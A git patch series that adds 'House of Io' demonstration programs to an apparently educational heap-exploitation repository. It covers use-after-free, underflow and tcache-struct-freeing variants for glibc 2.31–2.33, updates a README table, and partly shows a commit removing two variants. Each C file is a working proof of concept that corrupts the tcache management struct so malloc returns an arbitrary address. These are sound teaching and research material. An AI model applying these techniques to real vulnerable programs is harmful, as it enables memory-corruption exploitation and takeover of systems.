From d69f5c566136b651ac649e29bffd6cbbf0e2df90 Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 19 Jun 2025 17:32:10 +0200 Subject: [PATCH 01/11] add house of io use after free variant --- glibc_2.31/house_of_io_uaf.c | 95 ++++++++++++++++++++++++++++++++++++ glibc_2.32/house_of_io_uaf.c | 95 ++++++++++++++++++++++++++++++++++++ glibc_2.33/house_of_io_uaf.c | 95 ++++++++++++++++++++++++++++++++++++ 3 files changed, 285 insertions(+) create mode 100644 glibc_2.31/house_of_io_uaf.c create mode 100644 glibc_2.32/house_of_io_uaf.c create mode 100644 glibc_2.33/house_of_io_uaf.c diff --git a/glibc_2.31/house_of_io_uaf.c b/glibc_2.31/house_of_io_uaf.c new file mode 100644 index 0000000..88a8b9d --- /dev/null +++ b/glibc_2.31/house_of_io_uaf.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.32/house_of_io_uaf.c b/glibc_2.32/house_of_io_uaf.c new file mode 100644 index 0000000..88a8b9d --- /dev/null +++ b/glibc_2.32/house_of_io_uaf.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.33/house_of_io_uaf.c b/glibc_2.33/house_of_io_uaf.c new file mode 100644 index 0000000..88a8b9d --- /dev/null +++ b/glibc_2.33/house_of_io_uaf.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} From 6846e68b5d2431009b62117e72d0a3fa775d6696 Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 19 Jun 2025 17:32:28 +0200 Subject: [PATCH 02/11] add house of io underflow variant --- glibc_2.31/house_of_io_underflow.c | 69 ++++++++++++++++++++++++++++++ glibc_2.32/house_of_io_underflow.c | 69 ++++++++++++++++++++++++++++++ glibc_2.33/house_of_io_underflow.c | 69 ++++++++++++++++++++++++++++++ 3 files changed, 207 insertions(+) create mode 100644 glibc_2.31/house_of_io_underflow.c create mode 100644 glibc_2.32/house_of_io_underflow.c create mode 100644 glibc_2.33/house_of_io_underflow.c diff --git a/glibc_2.31/house_of_io_underflow.c b/glibc_2.31/house_of_io_underflow.c new file mode 100644 index 0000000..e19afb9 --- /dev/null +++ b/glibc_2.31/house_of_io_underflow.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include + +// House of Io - Underflow Variant +// =============================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant only works if we can underflow an access on a heap chunk,\n" + "to get access to the management struct on the heap. We then overwrite\n" + "a pointer in a tcache bin to point to our target.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts( + "First we allocate a chunk on the heap. We will underflow an access to\n" + "this chunk. In this example the victim chunk comes directly after the\n" + "tcache management struct, but in theory it can be everywhere on the\n" + "heap, as the first allocation will always be the management chunk, and\n" + "we assume an arbitrary underflow.\n"); + uint64_t *victim_chunk = malloc(0x10); + + puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" + "their bins come later in the array and thus are closer to our victim\n" + "chunk.\n"); + uint64_t *free_chunk = malloc(0x390); + free(free_chunk); + + puts("Then we underflow the victim chunk to exactly where the bin to our\n" + "free'd chunk is and write our target address there.\n"); + *(victim_chunk - 10) = (uint64_t)&global_var; + + puts("If we now allocate the same size of the free'd chunk again, we get a\n" + "chunk located at our target.\n"); + uint64_t *evil_chunk = malloc(0x390); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.32/house_of_io_underflow.c b/glibc_2.32/house_of_io_underflow.c new file mode 100644 index 0000000..e19afb9 --- /dev/null +++ b/glibc_2.32/house_of_io_underflow.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include + +// House of Io - Underflow Variant +// =============================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant only works if we can underflow an access on a heap chunk,\n" + "to get access to the management struct on the heap. We then overwrite\n" + "a pointer in a tcache bin to point to our target.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts( + "First we allocate a chunk on the heap. We will underflow an access to\n" + "this chunk. In this example the victim chunk comes directly after the\n" + "tcache management struct, but in theory it can be everywhere on the\n" + "heap, as the first allocation will always be the management chunk, and\n" + "we assume an arbitrary underflow.\n"); + uint64_t *victim_chunk = malloc(0x10); + + puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" + "their bins come later in the array and thus are closer to our victim\n" + "chunk.\n"); + uint64_t *free_chunk = malloc(0x390); + free(free_chunk); + + puts("Then we underflow the victim chunk to exactly where the bin to our\n" + "free'd chunk is and write our target address there.\n"); + *(victim_chunk - 10) = (uint64_t)&global_var; + + puts("If we now allocate the same size of the free'd chunk again, we get a\n" + "chunk located at our target.\n"); + uint64_t *evil_chunk = malloc(0x390); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.33/house_of_io_underflow.c b/glibc_2.33/house_of_io_underflow.c new file mode 100644 index 0000000..e19afb9 --- /dev/null +++ b/glibc_2.33/house_of_io_underflow.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include + +// House of Io - Underflow Variant +// =============================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant only works if we can underflow an access on a heap chunk,\n" + "to get access to the management struct on the heap. We then overwrite\n" + "a pointer in a tcache bin to point to our target.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts( + "First we allocate a chunk on the heap. We will underflow an access to\n" + "this chunk. In this example the victim chunk comes directly after the\n" + "tcache management struct, but in theory it can be everywhere on the\n" + "heap, as the first allocation will always be the management chunk, and\n" + "we assume an arbitrary underflow.\n"); + uint64_t *victim_chunk = malloc(0x10); + + puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" + "their bins come later in the array and thus are closer to our victim\n" + "chunk.\n"); + uint64_t *free_chunk = malloc(0x390); + free(free_chunk); + + puts("Then we underflow the victim chunk to exactly where the bin to our\n" + "free'd chunk is and write our target address there.\n"); + *(victim_chunk - 10) = (uint64_t)&global_var; + + puts("If we now allocate the same size of the free'd chunk again, we get a\n" + "chunk located at our target.\n"); + uint64_t *evil_chunk = malloc(0x390); + + assert(evil_chunk == &global_var); + return 0; +} From ca666576a97df26c7bb35495f9e2c9c638c44f32 Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 19 Jun 2025 17:32:44 +0200 Subject: [PATCH 03/11] add house of io free variant --- glibc_2.31/house_of_io_free.c | 93 +++++++++++++++++++++++++++++++++++ glibc_2.32/house_of_io_free.c | 93 +++++++++++++++++++++++++++++++++++ glibc_2.33/house_of_io_free.c | 93 +++++++++++++++++++++++++++++++++++ 3 files changed, 279 insertions(+) create mode 100644 glibc_2.31/house_of_io_free.c create mode 100644 glibc_2.32/house_of_io_free.c create mode 100644 glibc_2.33/house_of_io_free.c diff --git a/glibc_2.31/house_of_io_free.c b/glibc_2.31/house_of_io_free.c new file mode 100644 index 0000000..fc5f506 --- /dev/null +++ b/glibc_2.31/house_of_io_free.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant can be used when either the order of free's for a struct\n" + "with multiple pointers is incorrect or the second slot in a free'd\n" + "struct can be free'd again. This allows us to free the\n" + "`tcache_perthread_struct` and gain access to it, by allocating it\n" + "again. With access to the management struct we can insert a malicious\n" + "pointer into a tcache and allocate from that bucket to get the pointer\n" + "from malloc.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Now we simulate a wrongful order of free's which leads to freeing the\n" + "management struct. The first free puts the pointer to the tcache\n" + "struct into ptr->key, which also gets free'd afterwards.\n"); + free(ptr); + free(ptr->key); + + puts("With the management struct free'd we can allocate it again and get\n" + "access to it.\n"); + struct tcache_perthread_struct *management_struct = malloc(0x285); + + puts( + "Now that we have access to management struct, we first have to set the\n" + "count of the tcache bin, from which we want to allocate our target\n" + "chunk, to one.\n"); + management_struct->counts[0] = 1; + + puts( + "In the next step we insert the pointer to the global variable into the\n" + "tcache.\n"); + management_struct->entries[0] = (uint64_t)&global_var; + + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.32/house_of_io_free.c b/glibc_2.32/house_of_io_free.c new file mode 100644 index 0000000..fc5f506 --- /dev/null +++ b/glibc_2.32/house_of_io_free.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant can be used when either the order of free's for a struct\n" + "with multiple pointers is incorrect or the second slot in a free'd\n" + "struct can be free'd again. This allows us to free the\n" + "`tcache_perthread_struct` and gain access to it, by allocating it\n" + "again. With access to the management struct we can insert a malicious\n" + "pointer into a tcache and allocate from that bucket to get the pointer\n" + "from malloc.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Now we simulate a wrongful order of free's which leads to freeing the\n" + "management struct. The first free puts the pointer to the tcache\n" + "struct into ptr->key, which also gets free'd afterwards.\n"); + free(ptr); + free(ptr->key); + + puts("With the management struct free'd we can allocate it again and get\n" + "access to it.\n"); + struct tcache_perthread_struct *management_struct = malloc(0x285); + + puts( + "Now that we have access to management struct, we first have to set the\n" + "count of the tcache bin, from which we want to allocate our target\n" + "chunk, to one.\n"); + management_struct->counts[0] = 1; + + puts( + "In the next step we insert the pointer to the global variable into the\n" + "tcache.\n"); + management_struct->entries[0] = (uint64_t)&global_var; + + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.33/house_of_io_free.c b/glibc_2.33/house_of_io_free.c new file mode 100644 index 0000000..fc5f506 --- /dev/null +++ b/glibc_2.33/house_of_io_free.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant can be used when either the order of free's for a struct\n" + "with multiple pointers is incorrect or the second slot in a free'd\n" + "struct can be free'd again. This allows us to free the\n" + "`tcache_perthread_struct` and gain access to it, by allocating it\n" + "again. With access to the management struct we can insert a malicious\n" + "pointer into a tcache and allocate from that bucket to get the pointer\n" + "from malloc.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Now we simulate a wrongful order of free's which leads to freeing the\n" + "management struct. The first free puts the pointer to the tcache\n" + "struct into ptr->key, which also gets free'd afterwards.\n"); + free(ptr); + free(ptr->key); + + puts("With the management struct free'd we can allocate it again and get\n" + "access to it.\n"); + struct tcache_perthread_struct *management_struct = malloc(0x285); + + puts( + "Now that we have access to management struct, we first have to set the\n" + "count of the tcache bin, from which we want to allocate our target\n" + "chunk, to one.\n"); + management_struct->counts[0] = 1; + + puts( + "In the next step we insert the pointer to the global variable into the\n" + "tcache.\n"); + management_struct->entries[0] = (uint64_t)&global_var; + + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} From 3f8704cc6afee8dc3bfcc752e6cbf7e87fce7969 Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 19 Jun 2025 17:37:55 +0200 Subject: [PATCH 04/11] add house of io to the readme --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index f55a59e..1b87211 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,9 @@ We came up with the idea during a hack meeting, and have implemented the followi | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | | [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)| | [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | | +| [house_of_io_uaf.c](glibc_2.31/house_of_io_uaf.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | | +| [house_of_io_free.c](glibc_2.31/house_of_io_free.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by freeing the management struct. | 2.31 - 2.33 | | | +| [house_of_io_underflow.c](glibc_2.31/house_of_io_underflow.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by underflowing into the management struct. | 2.31 - 2.33 | | | The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic. Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible). From 9c6f58ab2ea96bc55815e95649595270384bef42 Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 19 Jun 2025 18:02:21 +0200 Subject: [PATCH 05/11] Update House of Io version numbers to the correct ones. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 1b87211..05906e5 100644 --- a/README.md +++ b/README.md @@ -41,9 +41,9 @@ We came up with the idea during a hack meeting, and have implemented the followi | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | | [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)| | [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | | -| [house_of_io_uaf.c](glibc_2.31/house_of_io_uaf.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | | -| [house_of_io_free.c](glibc_2.31/house_of_io_free.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by freeing the management struct. | 2.31 - 2.33 | | | -| [house_of_io_underflow.c](glibc_2.31/house_of_io_underflow.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by underflowing into the management struct. | 2.31 - 2.33 | | | +| [house_of_io_uaf.c](glibc_2.31/house_of_io_uaf.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.29 - 2.33 | | | +| [house_of_io_free.c](glibc_2.31/house_of_io_free.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by freeing the management struct. | 2.29 - 2.33 | | | +| [house_of_io_underflow.c](glibc_2.31/house_of_io_underflow.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by underflowing into the management struct. | 2.29 - 2.33 | | | The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic. Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible). From c6e74f731c3310024185c355aa425f975efd67c1 Mon Sep 17 00:00:00 2001 From: Liikt Date: Thu, 26 Jun 2025 17:52:51 +0200 Subject: [PATCH 06/11] remove non uaf house of io files and rename house of io example --- .../{house_of_io_uaf.c => house_of_io.c} | 0 glibc_2.31/house_of_io_free.c | 93 ------------------- glibc_2.31/house_of_io_underflow.c | 69 -------------- .../{house_of_io_uaf.c => house_of_io.c} | 0 glibc_2.32/house_of_io_free.c | 93 ------------------- glibc_2.32/house_of_io_underflow.c | 69 -------------- .../{house_of_io_uaf.c => house_of_io.c} | 0 